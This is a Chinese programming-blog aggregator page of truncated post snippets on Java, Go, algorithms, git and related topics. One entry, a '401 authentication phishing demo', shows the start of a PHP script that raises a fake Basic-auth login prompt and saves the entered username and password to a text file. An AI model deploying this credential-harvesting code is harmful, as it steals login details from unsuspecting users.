关于ArrayList源码

一、构造方法 1 private static final int DEFAULT_CAPACITY = 10; 2 3 //空参的构造方法,初始化数组长度为默认值,默认值为10 4 public ArrayList() { 5 this.elementData =DEFAULTCAPACITY_EMPTY_ELEMENTDATA; 6 } 1 //有参的构建函数 2 public ArrayList(int initialCapaci
分类: 其他 发布时间: 09-13 20:39 阅读次数: 0

Prime Ring Problem HDU - 1016 (dfs)

Prime Ring Problem HDU - 1016 A ring is compose of n circles as shown in diagram. Put natural number 1, 2, ..., n into each circle separately, and the sum of numbers in two adjacent circles should be a prime. Note: the number of first circle should
分类: 其他 发布时间: 09-13 20:39 阅读次数: 0

HDU 5737 Differencia set + 主席树

HDU 5737 很明显能发现数据是随机的。 我们用set去维护值一样的段, 因为随机所以set里面线段的大小减少得很快, 平均大概30个左右。 每次查询暴力处理每一段相同的在主席树上查找累加答案就可以了。 但是这个好像不是标算, 标算复杂度(n + m) * log(n) 并且数据不是随机也可以。 #pragma GCC optimize(2) #pragma GCC optimize(3) #include<bits/stdc++.h> #define LL long long #
分类: 其他 发布时间: 09-13 20:39 阅读次数: 0

DAY1_leetcode

1.两数之和 1 class Solution { 2 public int[] twoSum(int[] nums, int target) { 3 Map<Integer, Integer> map = new HashMap<>(); 4 for(int i = 0; i<nums.length;i++){ 5 int tmp = target - nums[i]; 6 if(m
分类: 其他 发布时间: 09-13 20:39 阅读次数: 0

SpringMVC四种响应传值的方式

1、返回值为void类型   使用方法的参数requesr和response进行数据分享和页面跳转 @RequestMapping("/test1") public void test1(HttpServletRequest request, HttpServletResponse response) throws Exception{ //通过request和response控制页面和共享数据 request.setAttribute("msg","你好,太阳
分类: 其他 发布时间: 09-13 20:39 阅读次数: 0

401认证钓鱼demo

<?php //@b4dboy if(!isset($_SERVER['PHP_AUTH_USER']) && !isset($_SERVER['PHP_AUTH_PW'])) { Header("WWW-Authenticate: Basic realm=\"USER LOGIN\""); Header("HTTP/1.0 401 Unauthorized"); } else { @file_put_contents('./b4dboy.txt', $_S
分类: 其他 发布时间: 09-13 20:39 阅读次数: 0

说MGR - MGR的监控

COUNT_TRANSACTIONS_IN_QUEUE, COUNT_TRANSACTIONS_ROWS_VALIDATING
分类: 数据库 发布时间: 09-13 20:38 阅读次数: 0

Go语言标准库之time

时间和日期是我们编程中经常会用到的,本文主要介绍了Go语言内置的time包的基本用法。 time包 time包提供了时间的显示和测量用的函数。日历的计算采用的是公历。 时间类型 time.Time类型表示时间。我们可以通过time.Now()函数获取当前的时间对象,然后获取时间对象的年月日时分秒等信息。示例代码如下: func timeDemo() { now := time.Now() //获取当前时间 fmt.Printf(&quot;current time:%v\n&q
分类: 其他 发布时间: 09-13 20:22 阅读次数: 0

protobuf初识

protobuf是一种高效的数据格式,平台无关、语言无关、可扩展,可用于 RPC 系统和持续数据存储系统。 protobuf protobuf介绍 Protobuf是Protocol Buffer的简称,它是Google公司于2008年开源的一种高效的平台无关、语言无关、可扩展的数据格式,目前Protobuf作为接口规范的描述语言,可以作为Go语言RPC接口的基础工具。 protobuf使用 protobuf是一个与语言无关的一个数据协议,所以我们需要先编写IDL文件然后借助专用工具生成指定语
分类: 其他 发布时间: 09-13 20:22 阅读次数: 0

VS Code配置Go语言开发环境

VS Code是微软开源的一款编辑器,插件系统十分的丰富。本文就介绍了如何使用VS Code搭建Go语言开发环境。 VS Code配置Go语言开发环境 说在前面的话,Go语言是采用UTF8编码的,理论上使用任何文本编辑器都能做Go语言开发。大家可以根据自己的喜好自行选择。编辑器/IDE没有最好只有最适合。 下载与安装 VS Code官方下载地址:https://code.visualstudio.com/Download 三大主流平台都支持,请根据自己的电脑平台选择对应的安装包。 双击下载好的
分类: 其他 发布时间: 09-13 20:22 阅读次数: 0

git在项目中常用命令和项目流程中涉及到步骤分析

GIT git的组成:分布式,版本控制,软件 svn是集中式版本控制,而git是分布式版本控制 问价拷贝 本地版本控制 集中式版本控制 分布式版本控制 第一阶段:生成版本,扩展功能,版本回滚 命令: 1.git init ----- 初始化生成.git文件进行管理 2.git status ------检测当前文件的文件状态,也显示当前文件夹内的文件名称,管理后的文件是绿色,未管理的是红色,也可以进行文件检测,检测文件是否被修改,如若修改则直接变成红色. 3.git add 文件名称 --
分类: 其他 发布时间: 09-13 20:22 阅读次数: 0

公开课

http://www.coursade.com/ ‘
分类: 其他 发布时间: 09-13 20:22 阅读次数: 0

Flume伪分布式配置

配置Flume tar -zxvf apache-flume-1.8.0-bin.tar.gz mkdir /opt/flume/ mv apache-flume-1.8.0-bin.tar.gz /opt/flume/flume1.8.0/ 配置环境变量 vim /etc/profile export FLUME_HOME=/opt/flume/flume1.8.0 export FLUME_CONF_DIR=${FLUME_HOME}/conf export PATH=.:${JAVA_
分类: 其他 发布时间: 09-13 20:22 阅读次数: 0

语言学习

https://www.ner.gov.tw/language
分类: 其他 发布时间: 09-13 20:22 阅读次数: 0

Java回顾--集合

1、Collection接口和Collections包装类:   Collection概念:是一个集合接口,提供了对集合对象进行基本操作的通用接口方法。   有以下结构:     |--List     |  |--LinkedList     |  |--ArrayList     |  |--Vector     |    |--stack     |--Set   Collections: 包含各种有关集合操作的静态多态方法,且该类无法实例化,相当于一个工具类。 2、HashMap、Ha
分类: 其他 发布时间: 09-13 20:22 阅读次数: 0

如何检查是否安装了java环境(即JRE)

浏览器访问一些调用了图形界面的网页,需要使用JRE,这个时候我们就需要检测操作系统是否已经安装了java环境( JRE) 1.点击开始菜单,输入cmd 2.在cmd窗口中输入java 若提示“‘java’不是内部或外部命令,也不是可运行的程序或批处理文件”,则表示未安装JRE 若提示下图 则表示已经安装JRE 3.输入java -version顺便可以查看java版本 对于某些新安装JRE的用户,还没有设置环境变量 输入java -version后提示“java-version' 不是内部或外
分类: 其他 发布时间: 09-13 20:22 阅读次数: 0

Go语言标准库之template

html/template包实现了数据驱动的模板,用于生成可对抗代码注入的安全HTML输出。它提供了和text/template包相同的接口,Go语言中输出HTML的场景都应使用text/template包。 模板 在基于MVC的Web架构中,我们通常需要在后端渲染一些数据到HTML文件中,从而实现动态的网页效果。 模板示例 通过将模板应用于一个数据结构(即该数据结构作为模板的参数)来执行,来获得输出。模板中的注释引用数据接口的元素(一般如结构体的字段或者字典的键)来控制执行过程和获取需要呈现
分类: 其他 发布时间: 09-13 20:05 阅读次数: 0

选项模式

本文主要介绍了Go语言中函数式选项模式及该设计模式在实际编程中的应用。 为什么需要函数式选项模式? 最近看go-micro/options.go源码的时候,发现了一段关于服务注册的代码如下: type Options struct { Broker broker.Broker Cmd cmd.Cmd Client client.Client Server server.Server Registry registry.Re
分类: 其他 发布时间: 09-13 20:05 阅读次数: 0

Go语言标准库之log

无论是软件开发的调试阶段还是软件上线之后的运行阶段,日志一直都是非常重要的一个环节,我们也应该养成在程序中记录日志的好习惯。 log Go语言内置的log包实现了简单的日志服务。本文介绍了标准库log的基本使用。 使用Logger log包定义了Logger类型,该类型提供了一些格式化输出的方法。本包也提供了一个预定义的“标准”logger,可以通过调用函数Print系列(Print|Printf|Println)、Fatal系列(Fatal|Fatalf|Fatalln)、和Panic系列(
分类: 其他 发布时间: 09-13 20:05 阅读次数: 0

Go语言获取系统性能数据gopsutil库

psutil是一个跨平台进程和系统监控的Python库,而gopsutil是其Go语言版本的实现。本文介绍了它的基本使用。 Go语言部署简单、性能好的特点非常适合做一些诸如采集系统信息和监控的服务,本文介绍的gopsutil库是知名Python库:psutil的一个Go语言版本的实现。 安装 go get github.com/shirou/gopsutil 使用 CPU 采集CPU相关信息。 import &quot;github.com/shirou/gopsutil/cpu&quot;
分类: 其他 发布时间: 09-13 20:05 阅读次数: 0
今日推荐